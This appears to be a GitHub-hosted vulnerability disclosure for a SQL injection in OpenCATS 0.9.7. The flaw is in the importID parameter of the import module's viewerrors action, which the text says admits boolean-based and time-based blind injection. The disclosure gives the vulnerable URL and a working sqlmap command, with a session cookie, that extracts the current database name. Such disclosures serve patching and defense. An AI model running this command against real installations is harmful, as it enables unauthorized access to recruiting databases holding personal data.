Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Opencats-0.9.7-sql injection in viewerrors-importID

Date: 2022/12/24

Exploit Author: Sakura501

Vendor Homepage: https://www.opencats.org/

Software Link: https://github.com/opencats/OpenCATS

Version: 0.9.7

Tested on: Windows11/PHP7.3.4/MySQL5.7.26

URL

http://192.168.2.153/src/opencats/index.php?m=import&a=viewerrors&importID=1

sqlmap-POC

sqlmap -u "http://192.168.2.153/src/opencats/index.php?m=import&a=viewerrors&importID=1" --cookie="CATS=3vuotomfflasp6drb4vtimpkqc" --current-db  -p "importID" --flush-session

Result-Show

It exists two sql injections, one is boolean-based blind injection, the other is time-based blind injection.

image

image

image

Source-Code-Analysis

Because it does not have strict control over input, then it is executed. image

image